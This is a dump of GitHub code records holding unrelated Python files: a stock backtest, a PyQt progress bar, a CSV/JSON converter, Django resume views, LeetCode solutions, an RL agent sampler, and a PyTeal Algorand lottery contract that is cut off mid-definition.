'__main__':\n    scan_dirs = \"double-stereo-scan-v1\"\n    pbr_dir = os.path.join(\"test-sets\", \"test-color-pbr\")\n    spec_dir = os.path.join(\"test-sets\", \"test-color-specular\")\n    blur_dir = os.path.join(\"test-sets\", \"test-color-blurry\")\n    dirs = [scan_dirs, pbr_dir, spec_dir, blur_dir]\n    print(dirs)\n    for scan_dir in dirs:\n        main(scan_dir)\n","repo_name":"olaals/masteroppgave","sub_path":"results/stereo-color-scan-ml-v2/add_overlapped.py","file_name":"add_overlapped.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16014229055","text":"import os\n\nname=\"Windows Utils\"\ndescripion=\"Basic Utils\"\nkeywords = [\"cerrar sesión\", \"bloquear\"]\n\ndef call(stmt):\n    if \"cerrar sesión\" in stmt:\n        os.system(\"shutdown -l\")\n    elif \"bloquear\" in stmt:\n        os.system(\"rundll32.exe user32.dll, LockWorkStation\")","repo_name":"Duplino/newton","sub_path":"modules/windows_utils.py","file_name":"windows_utils.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14860891647","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Jan 22 22:19:18 2021\n\n@author: admin\n\"\"\"\n\nimport os\nimport sys\nimport Config\nsys.path.append(Config.GLOBALCONFIG_PATH)\n\nimport Global_Config as gc\nimport datetime\n\nimport numpy as np\nimport pandas as pd\nfrom pandas import Series, DataFrame\n\nimport matplotlib.pyplot as plt\n\ndef main():\n    begin_date = '20200401'\n    end_date = '20210125'\n    factors = ['Beta', 'ChipsCV', 'Close', 'CloseToAverage', 'HK', 'Jump', 'MC', 'MCNL', 'MomentumInd', 'RQPM', 'Sigma', 'Skew', 'TurnRate', 'Reversal', 'Value']\n\n    #获取股票超额收益的预测值\n    IC_hat = pd.read_csv('%s/Results/IC_hat.csv'%gc.IC_PATH, index_col=[0], parse_dates=[0])\n    IC_hat = IC_hat.loc[IC_hat.index>begin_date, :]\n    IC_hat = IC_hat.loc[IC_hat.index<end_date, :]\n    \n    y = pd.read_csv('%s/Data/y1.csv'%gc.LABELBASE_PATH, index_col=[0], parse_dates=[0])\n    y = y.loc[y.index>begin_date, :]\n    y = y.loc[y.index<end_date, :]\n    \n    y_hat = DataFrame(0, index=y.index, columns=y.columns)\n    for factor in factors:\n        factor_df = pd.read_csv('%s/Data/%s.csv'%(gc.FACTORBASE_PATH, factor), index_col=[0], parse_dates=[0])\n        factor_df = factor_df.loc[factor_df.index>begin_date, :]\n        factor_df = factor_df.loc[factor_df.index<end_date, :]\n        y_hat = y_hat.add(factor_df.mul(IC_hat.loc[:, factor], axis=0), fill_value=0)\n    \n    stock_num = 20\n    turn_rate = 0.2\n    trade_num = int(stock_num * turn_rate)\n    \n    df_position = DataFrame(index=y.index, columns=list(range(stock_num)))\n    df_position.iloc[0, :] = list(y_hat.iloc[0, :].sort_values(ascending=False).iloc[:stock_num].index)\n\n    df_pnl = DataFrame(0, index=y.index, columns=list(range(stock_num)))\n\n    pre_date = df_position.index[0]\n    for date in df_position.index[1:]:\n        pre_position = list(df_position.loc[pre_date, :])\n        position = list(y_hat.loc[date, pre_position].sort_values(ascending=False).dropna().iloc[:(stock_num-trade_num)].index)\n        \n        stocks = y_hat.loc[date, :].sort_values(ascending=False).index\n        for stock in stocks:\n            if stock not in position:\n                if pd.notna(y.loc[date, stock]):\n                    position.append(stock)\n                    if len(position) >= stock_num:\n                        break\n        position.sort()\n        df_position.loc[date, :] = position\n        df_pnl.loc[date, :] = y.loc[date, position].values\n        pre_date = date\n    pnl = df_pnl.mean(1)\n    df_position.to_csv('%s/Results/df_position.csv'%gc.BACKTEST_PATH)\n    df_pnl.to_csv('%s/Results/df_pnl.csv'%gc.BACKTEST_PATH)\n    pnl.to_csv('%s/Results/pnl.csv'%gc.BACKTEST_PATH)\n    \n    plt.figure(figsize=(16,12))\n    pnl.cumsum().plot()\n    y.mean(1).cumsum().plot()\n    \n    (pnl - y.mean(1)).cumsum().plot()\n    plt.legend(['PNL', 'BENCHMARK', 'ALPHA'])\n    plt.savefig('%s/Results/backtest.png'%gc.BACKTEST_PATH)\n    #begin end\n    #股票排序\n    #按换手率生成持仓\n    #生成日收益率\n    #plot和统计分析\nif __name__ == '__main__':\n    main()","repo_name":"jerrrrrrrrrrrrry/stock","sub_path":"BackTest/Codes/backtest.py","file_name":"backtest.py","file_ext":"py","file_size_in_byte":3040,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12173850555","text":"import sys\nfrom PyQt4 import QtCore, QtGui\n\nclass main_window(QtGui.QMainWindow):\n\tdef __init__(self):\n\t\tQtGui.QMainWindow.__init__(self, None)\n\t\t# self.resize(140, 110)\n\n\t\ttimer = QtCore.QTimer()\n\t\ttimer.timeout.connect(self._timeout_event)\n\t\ttimer.start(1000)\n\t\tself._anim_timer = timer\n\n\t\tself._workers = 3\n\t\tself._njobs = 10\n\t\tself._ndone = 3\n\t\tself._progress = self._workers*[0.0]\n\t\tself._MAXFILL = 10\n\n\t\tself._progmets = progress_metrics(self.font())\n\t\tself._max_progress_w = 2*self._progmets.bound_w + self._MAXFILL*self._progmets.fill_w\n\n\tdef paintEvent(self, QPaintEvent):\n\t\tpainter = QtGui.QPainter()\n\t\tpainter.begin(self)\n\n\t\tw, h = (self.size().width(), self.size().height())\n\t\tfill_h = self._progmets.fill_h\n\t\tworkers = self._workers\n\t\ttext_h = (1+workers)*fill_h\n\t\tp0 = ((w-self._max_progress_w)/2, (h-text_h)/2+fill_h)\n\n\t\tfor i in range(0, workers):\n\t\t\tself._draw_progress((p0[0], p0[1]+i*fill_h), painter, self._progress[i], self._MAXFILL)\n\n\t\tcounter_text = '%d/%d' % (self._ndone, self._njobs)\n\t\tpainter.drawText(QtCore.QPointF((w-self._progmets.fm.width(counter_text))/2,\n\t\t\tp0[1]+workers*fill_h), counter_text)\n\n\t\tpainter.end()\n\n\tdef _draw_progress(self, point, painter, progress, max_grids = 10):\n\t\t'progress je v rozsahu [0,1]'\n\t\tp0 = point\n\t\tbound_w, fill_w = (self._progmets.bound_w, self._progmets.fill_w)\n\t\tpainter.drawText(QtCore.QPointF(p0[0], p0[1]), '[')\n\t\tgrids = min(int(progress*max_grids), max_grids)\n\t\tfor n in range(0, grids):\n\t\t\tpainter.drawText(QtCore.QPointF(p0[0]+bound_w+n*fill_w, p0[1]), '#')\n\n\t\tprog_text = '%d%%' % (progress*100, )\n\t\tprog_text_w = self._progmets.fm.width(prog_text)\n\t\tif (bound_w+grids*fill_w+3+prog_text_w+1) < self._max_progress_w:\n\t\t\t# still enought place for progress value\n\t\t\tprog_p = (p0[0]+bound_w+grids*fill_w, p0[1])\n\t\t\tpainter.drawText(QtCore.QPointF(prog_p[0]+3, prog_p[1]), prog_text)\n\n\t\tpainter.drawText(QtCore.QPointF(p0[0]+bound_w+max_grids*fill_w, p0[1]), ']')\n\n\tdef _timeout_event(self):\n\t\tself._progress = [self._progress[0]+0.1, self._progress[1]+0.135, self._progress[2]+0.08]\n\t\tself.update()\n\nclass progress_metrics:\n\tdef __init__(self, font):\n\t\tself.fill_char = '#'\n\t\tself.open_bound_char = '['\n\t\tself.close_bound_char = ']'\n\t\tfm = QtGui.QFontMetricsF(font)\n\t\tself.fm = fm\n\t\tself.bound_w = fm.width(self.open_bound_char)\n\t\tself.bound_h = fm.height()\n\t\tself.fill_w = fm.width(self.fill_char)\n\t\tself.fill_h = fm.height()\n\n\ndef main(args):\n\tapp = QtGui.QApplication(args)\n\tw = main_window()\n\tw.show()\n\tapp.exec_()\n\nif __name__ == '__main__':\n\tmain(sys.argv)\n","repo_name":"sansajn/dndconv","sub_path":"test/anim.py","file_name":"anim.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"8934891495","text":"import logging\nfrom pathlib import Path\n\nimport click\n\nfrom .converter import (\n    read_csv_file,\n    read_json_file,\n    save_to_csv_files,\n    save_to_json_files,\n)\n\n\nlogging.basicConfig(\n    level=\"DEBUG\",\n    format=\"'%(asctime)s - %(name)s - %(levelname)s - %(message)s'\",\n)\nlogger = logging.getLogger(__name__)\n\n\n@click.command()\n@click.argument(\"type-module\", type=click.Choice(['csv', 'json']))\n@click.option(\n    \"--input\",\n    \"-i\",\n    help=\"Path where the files will be loaded for conversion.\",\n    type=str,\n)\n@click.option(\n    \"--output\",\n    \"-o\",\n    default=\"./\",\n    help=\"Path where the converted files will be saved.\",\n    type=str,\n)\n@click.option(\n    \"--delimiter\",\n    \"-d\",\n    default=\",\",\n    type=click.Choice([',', ';', ':', '\\t']),\n    help=\"Separator used to split the files.\",\n)\n@click.option(\n    \"--prefix\",\n    \"-p\",\n    prompt=True,\n    prompt_required=False,\n    default=\"file\",\n    help=(\n        \"Prefix used to prepend to the name of the converted file saved on disk.\"\n        \" The suffix will be a number starting from 0. ge: file_0.json.\"\n    ),\n)\ndef converter(\n    type_module: str,\n    input: str,\n    output: str = \"./\",\n    delimiter: str = \",\",\n    prefix: str = 'file',\n) -> None:\n    \"\"\"\n    Convert Single file or list of CSV files to json\n    or json to convert json files to csv.\n    \"\"\"\n\n    input_path = Path(input)\n    output_path = Path(output)\n    logger.info(f\"Input path {input_path}\")\n    logger.info(f\"Output path {output_path}\")\n\n    for p in [input_path, output_path]:\n        if not (p.is_file() or p.is_dir()):\n            raise TypeError(f\"Not a valid path or file name. {p}\")\n\n    if type_module == 'csv':\n        data = read_csv_file(source=input_path, delimiter=delimiter)\n        save_to_json_files(data, output_path, prefix)\n    elif type_module == 'json':\n        data = read_json_file(source=input_path)\n        save_to_csv_files(data, output_path, prefix, delimiter)\n\n    logger.info(\"Finishing processing\")\n","repo_name":"cesarbruschetta/cesar-puc-csv-converter","sub_path":"cesar_puc_csv_converter/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20356634369","text":"from django.shortcuts import render, redirect\nfrom django.views.generic import ListView\nfrom django.core.mail import send_mail\nfrom .models import User\nfrom .forms import SendMailForm\n\n\nclass ViewIndex(ListView):\n    \"\"\"Класс представления главной страницы\"\"\"\n    model = User\n    queryset = User.objects.all()\n    template_name = 'resume/index.html'\n    context_object_name = 'user'\n\n    def get_context_data(self, *args, **kwargs):\n        \"\"\"Добавление формы в context\"\"\"\n        context = super().get_context_data(*args, **kwargs)\n        form = SendMailForm()\n        context['form'] = form\n        return context\n\n\ndef send_message(content):\n    '''Отправка письма через google'''\n    send_mail(\n        'Письмо с сайта резюме',\n        content,\n        'vldedov53@gmail.com',\n        ['vldedov@bk.ru'],\n        fail_silently=False\n    )\n\n\ndef send_form(request):\n    '''представление формы отправки и валидации'''\n    if request.method == 'POST':\n        form = SendMailForm(request.POST)\n        if form.is_valid():\n            content = ('\\n').join([form.cleaned_data['name'], form.cleaned_data['email'], form.cleaned_data['content']])\n            send_message(content)\n            return render(request, 'resume/redirect.html')\n    return render(request, 'resume/captcha_error.html')\n","repo_name":"VladimirDedov/site-resume","sub_path":"dedov_resume/resume/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18857787798","text":"# package import\nfrom typing import List\n\n\nclass Solution:\n    # my first answer\n    def two_sum(self, nums: List[int], target: int) -> List[int]:\n        x = 0\n        y = 1\n        while nums[x] + nums[y] != target:\n            y += 1\n            if y >= len(nums):\n                x += 1\n                y = x + 1\n                if x >= len(nums) - 1:\n                    return [0, 0]\n        return [x, y]\n\n    # great answer\n    def great_two_sum(self, nums: List[int], target: int) -> List[int]:\n        for i in range(len(nums)):\n            for j in range(i + 1, len(nums)):\n                if nums[i] + nums[j] == target:\n                    return [i, j]\n\n    # fast answer\n    def fast_two_sum(self, nums: List[int], target: int) -> List[int]:\n        while len(nums) > 1:\n            num = nums.pop()\n            if target - num in nums:\n                return [len(nums), nums.index(target - num)]\n","repo_name":"rivet9658/LeetCode_Practice","sub_path":"week_1/1_two_sum.py","file_name":"1_two_sum.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"26001526741","text":"import random\nfrom collections import defaultdict\n\nimport numpy as np\nimport torch\nimport itertools\n\nfrom bdp.rl.multi_agent.agent_samplers import (\n    AgentInfo,\n    AgentSampler,\n)\n\n\nclass PrefEvalSampler(AgentSampler):\n    def setup(self, ppo_cfg, observation_space):\n        self._policy_cfg = list(self.run_config.RL.POLICIES.values())[0]\n        self._ppo_cfg = ppo_cfg\n        self._obs_space = observation_space\n        self._agents = []\n\n        ckpt_a = torch.load(self.config.EVAL_CKPT_A, map_location=\"cpu\")[\n            \"state_dict\"\n        ]\n\n        ckpt_b = torch.load(self.config.EVAL_CKPT_B, map_location=\"cpu\")\n        self._pref_dim = ckpt_b[\"config\"].RL.AGENT_SAMPLER.PREF_DIM\n\n        ckpts = [\n            ckpt_a[self.config.EVAL_IDX_A],\n            ckpt_b[\"state_dict\"][0],\n        ]\n\n        pref_agent = self.create_agent(\n            self._policy_cfg, self._ppo_cfg, self._obs_space, i\n        )\n        pref_agent.updater.load_state_dict(ckpt_b[\"state_dict\"][0])\n\n        fake_cfg = self._policy_cfg.clone()\n        fake_cfg.defrost()\n        fake_cfg.high_level_policy.PREF_DIM = -1\n        fake_cfg.high_level_policy.use_pref_discrim = False\n        fake_cfg.freeze()\n        other_agent = self.create_agent(\n            fake_cfg, self._ppo_cfg, self._obs_space, i\n        )\n        other_agent.policy.is_fake = True\n\n        # Make non-updatable so we load the weights here.\n        self._agents = [pref_agent, other_agent]\n\n        for i, agent in enumerate(self._agents):\n            self.set_policy(agent.updater.actor_critic, i)\n            agent.make_non_updatable()\n\n    def _get_policies(self, is_eval, total_num_env_steps):\n        latents = torch.zeros((2, self.config.PREF_DIM), device=self.device)\n        latents[:, self.config.EVAL_IDX_B] = 1.0\n        ret = self._agents[:2]\n        ret[0].idx = self.config.EVAL_IDX_B\n        ret[1].idx = self.config.EVAL_IDX_A\n        for i, ret_agent in enumerate(ret):\n            ret_agent.policy.pref_latent = latents[i]\n        return ret\n","repo_name":"KonstantinLevin32/bdp","sub_path":"bdp/rl/multi_agent/pref_eval_sampler.py","file_name":"pref_eval_sampler.py","file_ext":"py","file_size_in_byte":2026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"6779128184","text":"from pyteal import *\nimport json\n\n\nis_creator = Txn.sender() == Global.creator_address()\ncurrent_ticketing_start = App.globalGet(Bytes(\"Ticketing_Start\"))\ncurrent_ticketing_duration = App.globalGet(Bytes(\"Ticketing_Duration\"))\ncurrent_withdrawal_start = App.globalGet(Bytes(\"Withdrawal_Start\"))\ncurrent_lucky_number = App.globalGet(Bytes(\"Lucky_Number\"))\ncurrent_ticket_fee = App.globalGet(Bytes(\"Ticket_Fee\"))\ncurrent_win_multiplier = App.globalGet(Bytes(\"Win_Multiplier\"))\ncurrent_max_players_allowed = App.globalGet(Bytes(\"Max_Players_Allowed\"))\ncurrent_max_guess_number = App.globalGet(Bytes(\"Max_Guess_Number\"))\ncurrent_game_master = App.globalGet(Bytes(\"Game_Master\"))\ncurrent_game_master_deposit = App.globalGet(Bytes(\"Game_Master_Deposit\"))\ncurrent_players_ticket_bought = App.globalGet(Bytes(\"Players_Ticket_Bought\"))\ncurrent_players_ticket_checked = App.globalGet(Bytes(\"Players_Ticket_Checked\"))\ncurrent_players_won = App.globalGet(Bytes(\"Players_Won\"))\ncurrent_total_game_played = App.globalGet(Bytes(\"Total_Game_Count\"))\n\n\nclass Game_Params(abi.NamedTuple):\n    ticketing_start: abi.Field[abi.Uint64]\n    ticketing_duration: abi.Field[abi.Uint64]\n    withdrawal_start: abi.Field[abi.Uint64]\n    ticket_fee: abi.Field[abi.Uint64]\n    lucky_number: abi.Field[abi.Uint64]\n    players_ticket_bought: abi.Field[abi.Uint64]\n    win_multiplier: abi.Field[abi.Uint64]\n    max_guess_number: abi.Field[abi.Uint64]\n    max_players_allowed: abi.Field[abi.Uint64]\n    game_master: abi.Field[abi.Address]\n    players_ticket_checked: abi.Field[abi.Uint64]\n    total_game_played: abi.Field[abi.Uint64]\n\n\n# initialize global vars\nhandle_Creation = Seq(\n    App.globalPut(Bytes(\"Ticketing_Start\"), Int(0)),\n    App.globalPut(Bytes(\"Ticketing_Duration\"), Int(0)),\n    App.globalPut(Bytes(\"Withdrawal_Start\"), Int(0)),\n    App.globalPut(Bytes(\"Lucky_Number\"), Int(0)),\n    App.globalPut(Bytes(\"Ticket_Fee\"), Int(0)),\n    App.globalPut(Bytes(\"Win_Multiplier\"), Int(0)),\n    App.globalPut(Bytes(\"Max_Players_Allowed\"), Int(0)),\n    App.globalPut(Bytes(\"Max_Guess_Number\"), Int(0)),\n    App.globalPut(Bytes(\"Players_Ticket_Bought\"), Int(0)),\n    App.globalPut(Bytes(\"Players_Ticket_Checked\"), Int(0)),\n    App.globalPut(Bytes(\"Players_Won\"), Int(0)),\n    App.globalPut(Bytes(\"Game_Master\"), Global.zero_address()),\n    App.globalPut(Bytes(\"Game_Master_Deposit\"), Int(0)),\n    Approve()\n)\n\n\n# To call this function,the new game master must send a transaction such that the\n@ABIReturnSubroutine\ndef initiliaze_game_params(ticketing_start: abi.Uint64, ticketing_duration: abi.Uint64, ticket_fee: abi.Uint64, withdrawal_start: abi.Uint64, win_multiplier: abi.Uint64, max_guess_number: abi.Uint64, max_players_allowed: abi.Uint64, lottery_account: abi.Account, create_txn: abi.PaymentTransaction):\n    return Seq(\n        Assert(\n            And(\n                # Make sure lottery contract has been reset\n                current_ticketing_start == Int(0),\n                current_ticketing_duration == Int(0),\n                current_withdrawal_start == Int(0),\n                current_lucky_number == Int(0),\n                current_ticket_fee == Int(0),\n                current_max_players_allowed == Int(0),\n                current_win_multiplier == Int(0),\n                current_max_guess_number == Int(0),\n                current_game_master == Global.zero_address(),\n                current_game_master_deposit == Int(0),\n                current_players_won == Int(0),\n                lottery_account.address() == Global.current_application_address(),\n                create_txn.get().receiver() == Global.current_application_address(),\n                create_txn.get().sender() == Txn.sender(),\n                create_txn.get().type_enum() == TxnType.Payment,\n                # need to deposit at least 1 algo to create game\n                create_txn.get().amount() >= Int(1000000),\n                # balance after this transaction is sufficient to pay out a scenario where all participants win the lottery\n                create_txn.get().amount()+Balance(lottery_account.address()) -\n                MinBalance(lottery_account.address())\n                > max_players_allowed.get() *\n                (win_multiplier.get()-Int(1))*ticket_fee.get(),\n                # Txn Note must be fixed\n                create_txn.get().note() == Bytes(\"init_game\"),\n                # ticketing phase must start at least 3 minutes into the future\n                ticketing_start.get() > Global.latest_timestamp() + Int(180),\n                # ticketing phase must be for at least 15 minutes\n                ticketing_duration.get() > Int(900),\n                # ticketing_fee is greater than 1 algo\n                ticket_fee.get() >= Int(1000000),\n                # max guess number should be at least 100\n                max_guess_number.get() > Int(99),\n                max_players_allowed.get() > Int(0),\n                # win multiplier is greater than 1,\n                win_multiplier.get() > Int(1),\n                # withdrawal starts at least 15 mins after ticketing closed\n                withdrawal_start.get() > ticketing_start.get() + \\\n                ticketing_duration.get() + Int(900)\n            )\n\n        ),\n        App.globalPut(Bytes(\"Ticketing_Start\"), ticketing_start.get()),\n        App.globalPut(Bytes(\"Ticketing_Duration\"), ticketing_duration.get()),\n        App.globalPut(Bytes(\"Withdrawal_Start\"), withdrawal_start.get()),\n        App.globalPut(Bytes(\"Ticket_Fee\"), ticket_fee.get()),\n        App.globalPut(Bytes(\"Win_Multiplier\"), win_multiplier.get()),\n        App.globalPut(Bytes(\"Max_Players_Allowed\"), max_players_allowed.get()),\n        App.globalPut(Bytes(\"Max_Guess_Number\"), max_guess_number.get()),\n        App.globalPut(Bytes(\"Game_Master\"), Txn.sender()),\n        App.globalPut(Bytes(\"Game_Master_Deposit\"), create_txn.get().amount()),\n    )\n\n\n@ABIReturnSubroutine\ndef get_game_params(*, output: Game_Params):\n    ticketing_start = abi.make(abi.Uint64)\n    ticketing_duration = abi.make(abi.Uint64)\n    withdrawal_start = abi.make(abi.Uint64)\n    ticket_fee = abi.make(abi.Uint64)\n    lucky_number = abi.make(abi.Uint64)\n    players_ticket_bought = abi.make(abi.Uint64)\n    players_ticket_checked = abi.make(abi.Uint64)\n    game_master = abi.make(abi.Address)\n    win_multiplier = abi.make(abi.Uint64)\n    max_guess_number = abi.make(abi.Uint64)\n    max_players_allowed = abi.make(abi.Uint64)\n    total_game_played = abi.make(abi.Uint64)\n\n    return Seq(\n        ticketing_start.set(current_ticketing_start),\n        ticketing_duration.set(current_ticketing_duration),\n        withdrawal_start.set(current_withdrawal_start),\n        ticket_fee.set(current_ticket_fee),\n        lucky_number.set(current_lucky_number),\n        players_ticket_bought.set(current_players_ticket_bought),\n        players_ticket_checked.set(current_players_ticket_checked),\n        total_game_played.set(current_total_game_played),\n        game_master.set(current_game_master),\n        win_multiplier.set(current_win_multiplier),\n        max_guess_number.set(current_max_guess_number),\n        max_players_allowed.set(current_max_players_allowed),\n        output.set(ticketing_start, ticketing_duration,\n                   withdrawal_start, ticket_fee, lucky_number, players_ticket_bought, win_multiplier, max_guess_number, max_players_allowed, game_master, players_ticket_checked, total_game_played)\n    )\n\n\n@ABIReturnSubroutine\ndef enter_game(guess_number: abi.Uint64, ticket_txn: abi.PaymentTransaction):\n\n    return Seq(\n        Assert(\n\n            # Assert that the receiver of the transaction is the smart contract and amount paid is ticket fee and contract is in ticketing phase\n            And(\n                current_players_ticket_bought < current_max_players_allowed,\n                guess_number.get() > Int(0),\n                guess_number.get() <= current_max_guess_number,\n                ticket_txn.get().receiver() == Global.current_application_address(),\n                ticket_txn.get().sender() == Txn.sender(),\n                ticket_txn.get().type_enum() == TxnType.Payment,\n                ticket_txn.get().note() == Bytes(\"enter_game\"),\n                ticket_txn.get().amount() == current_ticket_fee,\n                ticket_txn.get().close_remainder_to() == Global.zero_address(),\n                Global.latest_timestamp() <= current_ticketing_start+current_ticketing_duration,\n            )\n        ),\n\n        # If player has checked from previous game,reset value back to 0\n        If(App.localGet(Txn.sender(), Bytes(\"checked\"))).Then(\n            App.localPut(Txn.sender(), Bytes(\"checked\"), Int(0)),\n            App.localPut(Txn.sender(), Bytes(\"guess_number\"), Int(0))\n        ),\n        # If player buys another ticket do not increase global var\n        If(Not(App.localGet(Txn.sender(), Bytes(\"guess_number\")))).Then(\n            App.globalPut(Bytes(\"Players_Ticket_Bought\"),\n                          current_players_ticket_bought+Int(1))\n        ),\n        App.localPut(Txn.sender(), Bytes(\"guess_number\"),\n                     guess_number.get())\n    )\n\n\n@ABIReturnSubroutine\ndef change_guess_number(new_guess_number: abi.Uint64):\n    return Seq(\n        Assert(\n            # Assert we are still in ticketing phase and user has not been checked to prevent reusing previous ticket numbers\n            And(\n                new_guess_number.get() > Int(0),\n                new_guess_number.get() <= current_max_guess_number,\n                Global.latest_timestamp() <= current_ticketing_start+current_ticketing_duration,\n                App.localGet(Txn.sender(), Bytes(\n                    \"guess_number\")),\n                Not(App.localGet(Txn.sender(), Bytes(\"checked\")))\n            )\n        ),\n        App.localPut(Txn.sender(), Bytes(\n            \"guess_number\"), new_guess_number.get())\n    )\n\n\n@ABIReturnSubroutine\ndef get_user_guess_number(player: abi.Account, *, output: abi.Uint64):\n    return Seq(\n        Assert(\n            And(\n                App.localGet(player.address(), Bytes(\n                    \"guess_number\")),\n            )\n        ),\n        output.set(App.localGet(player.address(), Bytes(\"guess_number\")))\n    )\n\n\n@ABIReturnSubroutine\ndef generate_lucky_number(application_Id: abi.Application):\n    # That block number is the reference point in order to get a valid block round to retrieve randomness from\n\n    most_recent_saved_block_difference = Global.round()-Int(24908202)\n    most_recent_saved_block_modulo = most_recent_saved_block_difference % Int(\n        8)\n    most_recent_saved_block = Int(\n        24908202) + most_recent_saved_block_difference-most_recent_saved_block_modulo-Int(16)\n    return Seq(\n        Assert(\n            And(\n                # make sure we are calling the right randomness beacon,#change value for mainnet/testnet\n                application_Id.application_id() == Int(110096026),\n                Global.latest_timestamp() >= current_ticketing_start+current_ticketing_duration,\n                current_lucky_number == Int(0)\n            )\n        ),\n        InnerTxnBuilder.Begin(),\n        InnerTxnBuilder.SetFields(\n            {\n                TxnField.type_enum: TxnType.ApplicationCall,\n                TxnField.application_id:  application_Id.application_id(),\n                TxnField.on_completion: OnComplete.NoOp,\n                TxnField.fee: Int(0),\n                TxnField.application_args: [MethodSignature(\n                    \"get(uint64,byte[])byte[]\"), Itob(most_recent_saved_block), Txn.sender()]  # adds the sender of the transaction has entropy\n            }\n        ),\n        InnerTxnBuilder.Submit(),\n        App.globalPut(Bytes(\"Lucky_Number\"), (Btoi(\n            Extract(InnerTxn.last_log(), Int(12), Int(8))) % current_max_guess_number) + Int(1)),\n    )\n\n\n@ABIReturnSubroutine\ndef check_user_win_lottery(player: abi.Account, *, output: abi.Bool):\n    user_has_checked = App.localGet(player.address(), Bytes(\"checked\"))\n    user_guess_correctly = App.localGet(\n        player.address(), Bytes(\"guess_number\")) == current_lucky_number\n    return Seq(\n        Assert(\n            And(\n                Global.latest_timestamp() >= current_withdrawal_start,\n                App.localGet(player.address(), Bytes(\"guess_number\")),\n                current_lucky_number\n            )\n        ),\n        If(user_has_checked).Then(\n            output.set(user_guess_correctly)\n        ).Else(\n            If(user_guess_correctly).Then(\n                InnerTxnBuilder.Begin(),\n                InnerTxnBuilder.SetFields({\n                    TxnField.type_enum: TxnType.Payment,\n                    TxnField.receiver: player.address(),\n                    TxnField.note: Bytes(\"pay_winner\"),\n                    TxnField.fee: Int(0),\n                    TxnField.amount: current_ticket_fee*current_win_multiplier}),\n                InnerTxnBuilder.Submit(),\n                App.globalPut(Bytes(\"Players_Won\"), current_players_won+Int(1))\n            ),\n            App.localPut(player.address(), Bytes(\"checked\"), Int(1)),\n            App.globalPut(Bytes(\"Players_Ticket_Checked\"),\n                          current_players_ticket_checked+Int(1)),\n            output.set(user_guess_correctly)\n        )\n    )\n\n\n@ABIReturnSubroutine\ndef get_lucky_number(*, output: abi.Uint64):\n    return Seq(\n        output.set(current_lucky_number)\n    )\n\n\n@ABIReturnSubroutine\ndef get_total_game_played(*, output: abi.Uint64):\n    return Seq(\n        output.set(App.globalGet(Bytes(\"Total_Game_Count\")))\n    )\n\n\n@ ABIReturnSubroutine\ndef reset_game_params(lottery_account: abi.Account, game_master_account: abi.Account, protocol_account: abi.Account):\n    lottery_balance = Balance(lottery_account.address()) - \\\n        MinBalance(lottery_account.address())\n    protocol_fee_var = ScratchVar(TealType.uint64)\n    game_master_fee_var = ScratchVar(TealType.uint64)\n    game_master_reward_var = ScratchVar(TealType.uint64)\n    refundable_game_master_deposit = ScratchVar(TealType.uint64)\n    return Seq(\n        # Make sure every ticket has been checked and winners have been credited\n        Assert(\n            And(\n                is_creator,\n                lottery_account.address() == Global.current_application_address(),\n                protocol_account.address() == Global.creator_address(),\n                game_master_account.address() == current_game_master,\n                current_players_ticket_bought == current_players_ticket_checked\n            )\n        ),\n        # handle paying protocol fee to creator and game Master fee\n        If(lottery_balance >= Int(1000000)).Then(\n            protocol_fee_var.store(lottery_balance/Int(20)),\n            # calculate how much players game_master deposit allows\n            game_master_reward_var.store(\n                current_game_master_deposit/(current_ticket_fee*(current_win_multiplier-Int(1))*current_max_players_allowed)),\n            # If it is more than players participating\n            If(game_master_reward_var.load() > current_players_ticket_bought).Then(\n                game_master_reward_var.store(current_players_ticket_bought)\n            ),\n            If(protocol_fee_var.load() > Int(250000000)).Then(\n                protocol_fee_var.store(Int(250000000)),\n            ),\n            # every game master receives a minimum of 1000 micro algos\n            If((current_players_won*current_win_multiplier*current_ticket_fee) >= current_game_master_deposit).Then(\n                refundable_game_master_deposit.store(Int(1000))\n            ).Else(\n                refundable_game_master_deposit.store(\n                    current_game_master_deposit-(current_players_won*current_win_multiplier*current_ticket_fee))\n            ),\n            # game master usually gets 25% on every ticket bought out of his rewardable players\n            game_master_fee_var.store(\n                refundable_game_master_deposit.load()+((game_master_reward_var.load()-current_players_won)*current_ticket_fee/Int(4))),\n            # Handle the case where the contract can't pay\n            If(game_master_fee_var.load() > (lottery_balance-protocol_fee_var.load())).Then(\n                game_master_fee_var.store(\n                    lottery_balance-protocol_fee_var.load())\n            ),\n            InnerTxnBuilder.Begin(),\n            InnerTxnBuilder.SetFields({\n                TxnField.type_enum: TxnType.Payment,\n                TxnField.receiver: protocol_account.address(),\n                TxnField.note: Bytes(\"pay_protocol\"),\n                TxnField.fee: Int(0),\n                TxnField.amount: protocol_fee_var.load()}),\n            InnerTxnBuilder.Next(),\n            InnerTxnBuilder.SetFields({\n                TxnField.type_enum: TxnType.Payment,\n                TxnField.receiver: game_master_account.address(),\n                TxnField.note: Bytes(\"pay_game_master\"),\n                TxnField.fee: Int(0),\n                TxnField.amount: game_master_fee_var.load()}),\n            InnerTxnBuilder.Submit()\n        ),\n        App.globalPut(Bytes(\"Total_Game_Count\"),\n                      App.globalGet(Bytes(\"Total_Game_Count\"))+Int(1)),\n        handle_Creation\n    )\n\n\nrouter = Router(\n    name=\"Lotto\",\n    bare_calls=BareCallActions(\n        no_op=OnCompleteAction(\n            action=Seq(App.globalPut(Bytes(\"Total_Game_Count\"), Int(0)), handle_Creation), call_config=CallConfig.CREATE\n        ),\n        